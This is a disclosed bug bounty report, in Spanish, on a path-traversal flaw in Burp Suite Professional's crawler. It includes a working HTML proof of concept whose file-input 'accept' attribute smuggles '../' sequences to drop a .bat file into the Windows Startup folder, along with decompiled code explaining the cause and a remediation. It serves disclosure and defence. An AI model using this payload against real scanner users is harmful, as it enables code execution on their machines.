Resumen
El escáner de Burp Suite Professional incluye un rastreador que carga las páginas en un navegador real ("browser-powered crawl") para descubrir contenido. El investigador descubrió que, cuando ese rastreador visita una web controlada por un atacante, la propia página puede obligar a Burp a escribir un fichero con contenido elegido por el atacante en una ruta local también elegida por el atacante.
El fallo está en cómo Burp maneja los campos <input type="file">. Al encontrar uno, Burp crea un fichero local de subida a partir de atributos que vienen de la página, pero no impide que el nombre de fichero generado contenga secuencias de salto de directorio (../). Es, por tanto, un path traversal (CWE-22) que termina en escritura de ficheros arbitrarios.
El objetivo analizado fue Burp Suite Professional 2026.3.3 sobre Windows.
Pasos de reproducción
- Servir el siguiente HTML desde una web controlada por el atacante:
<!doctype html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
<input
type="file"
name="upload"
value="calc.exe"
accept="./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat">
<button type="submit">Upload</button>
</form>
</body>
</html>
En la reproducción local el investigador lo sirvió así:
python -m http.server 8000
http://192.168.186.149:8000/poc_file_input_write_startup_calc.html
- En Burp Suite Professional, iniciar un nuevo rastreo:
Dashboard -> New scan -> Crawl
URLs to scan -> http://192.168.186.149:8000/poc_file_input_write_startup_calc.html
// para dejarlo claro
Scan configuration -> Deep -> Crawl configuration -> Browser behaviour -> Always use Burps' browser
- Lanzar el rastreo.
- Cuando el rastreador procesa la página, comprobar la carpeta de Inicio (Startup) del usuario actual:
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\burp_calc.bat
Resultado observado (el fichero existe y contiene):
calc.exe
- Cerrar la sesión de Windows y volver a iniciarla. El contenido depositado en la carpeta de Inicio se ejecuta al iniciar sesión.
Por qué ocurre
El investigador explica la causa a partir del código decompilado de Burp, renombrando a mano las clases, métodos y variables ofuscados para que se lean mejor; la lógica es la misma.
Cuando el rastreador interactúa con un formulario, detecta los campos de tipo fichero y llama al código que prepara la subida:
for (FormInput input : discoveredInputs) {
if (input.type() == InputType.FILE) {
prepareFileInput(input);
continue;
}
fillNormalInput(input);
}
Ese código crea un fichero local, escribe en él el valor del campo (controlado por la página) y luego lo selecciona en el navegador:
private static void prepareFileInput(FormInput input) throws IOException {
if (isBlank(input.inputValue())) {
return;
}
File uploadFile = buildTemporaryUploadFile(input);
Files.write(uploadFile.toPath(), bytes(input.inputValue()));
BrowserFileInput browserFileInput = input.browserElement().fileInput();
browserFileInput.selectFile(uploadFile.toPath());
}
La ruta del fichero local se construye creando un directorio temporal y resolviendo bajo él el nombre derivado del campo:
private static File buildTemporaryUploadFile(FormInput input) throws IOException {
String filename = input.deriveFileNameFromFileInput().orElse("file");
Path tempDirectory = Files.createTempDirectory("burp");
return tempDirectory.resolve(filename).toFile();
}
Ese nombre de fichero sale del atributo accept del campo. Burp acepta como extensión cualquier token que empiece por .:
private Optional<FileName> deriveFileNameFromFileInput() {
if (input.type() != InputType.FILE) {
return Optional.empty();
}
String accept = input.attribute("accept");
for (String token : accept.split(",")) {
if (token.startsWith(".")) {
fileNameBuilder.addExtension(token);
}
}
return Optional.of(fileNameBuilder.build());
}
Como el token del accept del PoC empieza por . pero contiene separadores y secuencias ../, Path.resolve(filename) acaba usándose con contenido de salto de directorio controlado por el atacante, y la escritura cae fuera del directorio temporal previsto.
Impacto
Una web visitada a través del escáner de Burp puede escribir ficheros de texto con contenido controlado por el atacante en cualquier ubicación donde el usuario tenga permiso de escritura y cuyo directorio padre ya exista.
En Windows, el investigador lo aprovecha para dejar un fichero .bat en la carpeta de Inicio del usuario actual. Ese fichero se ejecuta la próxima vez que el usuario inicia sesión, lo que da ejecución de código diferida.
El reporte encuadra esto en el ejemplo de severidad alta de las normas del programa de recompensas, según las cuales las webs accedidas a través de Burp son no confiables y cualquier cosa que una web pueda hacer para leer ficheros del ordenador del usuario, extraer datos de Burp o lograr ejecución remota de código se considera vulnerabilidad.
Remediación
Según la recomendación del investigador, Burp no debería usar directamente como ruta del sistema de ficheros local los metadatos de un campo de subida que vienen de la página. Como mínimo, el nombre del fichero temporal de subida debería generarse o sanearse para que una web no pueda introducir separadores de ruta, secuencias de salto de directorio ni ningún valor que escape del directorio temporal previsto por Burp.
El reporte figura como Resolved y con recompensa concedida (importe no público). Fue enviado el 4 de mayo de 2026 y divulgado el 14 de junio de 2026.